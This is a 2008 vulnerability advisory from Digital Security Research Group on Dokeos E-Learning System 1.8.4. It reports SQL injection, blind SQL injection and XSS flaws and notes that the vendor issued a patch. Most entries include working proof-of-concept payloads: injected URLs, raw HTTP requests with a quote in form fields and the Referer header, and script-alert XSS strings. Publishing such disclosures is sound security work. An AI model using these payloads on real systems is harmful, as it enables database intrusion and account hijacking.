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Digital Security Research Group [DSecRG] Advisory #DSECRG-08-015
Application: Dokeos E-Learning System
Versions Affected: 1.8.4
Vendor URL: http://dokeos.com
Bugs: Multiple SQL Injections,Multiple Blind SQL Injections,Multiple
XSS, etc.
Exploits: YES
Reported: 25.01.2008
Vendor response: 28.01.2008
Patch released: 12.02.2008
Date of Public Advisory: 19.02.2008
Authors: Alexandr Polyakov, Stas Svistunovich
Digital Security Research Group [DSecRG] (research [at] dsec [dot]
ru)
Description
***********
Dokeos E-Learning System system has multiple security vulnerabilities:
1. Multiple SQL Injections
2. Multiple Blind Sql Injections
3. Multiple Stored XSS
4. Multiple Linked XSS
5. Image XSS
Details
*******
1. Multiple SQL Injections
1.1 Attacker can inject SQL code in module /whoisonline.php vulnerable parametr id
Attacker must have valid user creditionals
Example:
http://[server]/[installdir]/whoisonline.
php?id=1'+and+"dsec"="dsecrg"+union+select+user()
,version()/*
1.2 Attacker can inject SQL code in module main/mySpace/index.php vulnerable parameter
tracking_list_coaches_column
Example:
http://[server]/[installdir]/main/mySpace/index.
php?tracking_list_coaches_direction=ASC&tracking_list_coaches_page_nr=1&t
racking_list_coaches_per_page=20&view=admin
&tracking_list_coaches_column=0';
1.3 Attacker can inject SQL code in module /dokeos/main/create_course/add_course.php POST
Parameter tutor_name
Example:
POST /dokeos/main/create_course/add_course.php HTTP/1.0
Cookie: dk_sid=av68g9lus300ts870iqebhneh5
Content-Length: 107
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/dokeos/main/create_course/add_course.php
title=1234&category_code=PROJ&wanted_code=1234&course_language=sloven
ian&_qf__add_course=&
tutor_name='
---------------------------------------------------------------------
2. Multiple SQL Injections
2.1 Vulnerability found in script index.php in header parameter "Referer"
Example:
GET /dokeos/index.php HTTP/1.0
Cookie: dk_sid=av68g9lus300ts870iqebhneh5
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Referer: '
2.1 Vulnerability found in script /main/admin/class_list.php? in header parameter "X-Fowarded-For"
---------------------------------------------------------------------
3. Stored XSS vulnerability found in /main/auth/inscription.php attacker can inject XSS in POST
parameter username
---------------------------------------------------------------------
4. Multiple linked XSS
4.1 Linked XSS vulnerability found in dokeos/main/calendar/myagenda.php attacker can inject XSS in
parameter courseCode
Example:
http://[server]/[installdir]/main/calendar/myagenda.
php?courseCode="><script>alert('DSecRG
XSS')</script>
4.2 Linked XSS vulnerability found in main/admin/course_category.php attacker can inject XSS in
parameter category
Example:
http://[server]/[installdir]/dokeos/main/admin/course_category.
php?category=<script>alert('DSecRG
XSS')</script> HTTP/1.0
4.3 Linked XSS vulnerability found in /dokeos/main/admin/session_list.php attacker can inject XSS
in parameter cmessage
Example:
http://[server]/[installdir]/dokeos/main/admin/session_list.
php?action=show_message&message=>%22%27><img/src=javascript:
alert('DSecRG
XSS')>
---------------------------------------------------------------------
5. Image XSS vulnerability in page main/auth/profile.php attacker can upload avatar picture with
XSS code:
Example:
More info: http://www.dsec.ru/about/articles/web_xss/ (in Russian)
---------------------------------------------------------------------
Fix Information
***************
Vendor fix this flaw on 12.02.2008. Patch for version 1.8.4 can be downloaded here:
http://www.dokeos.com/wiki/index.php/Security#Dokeos_1.8.4_SP2_download
About
*****
Digital Security is leading IT security company in Russia, providing information security
consulting, audit and penetration testing services, risk analysis and ISMS-related services and
certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses
on web application and database security problems with vulnerability reports, advisories and
whitepapers posted regularly on our website.
Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)
Digital Security Research Group mailto:research@dsec.ru
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